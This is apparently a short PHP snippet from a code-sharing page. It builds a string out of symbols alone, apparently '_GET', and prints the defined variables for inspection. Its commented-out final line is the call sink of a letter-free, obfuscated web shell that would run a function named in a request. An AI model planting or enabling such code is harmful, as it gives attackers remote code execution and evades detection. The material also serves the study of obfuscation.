- get_defined_vars: documentation ( source)
- print_r: documentation ( source)
<?php
@$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++))].=$_;
$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);
$_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]);
$_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__];
$_=$
$_[$__+$__];
print_r(get_defined_vars());
//$_[@-_]($_[@!+_]);
?>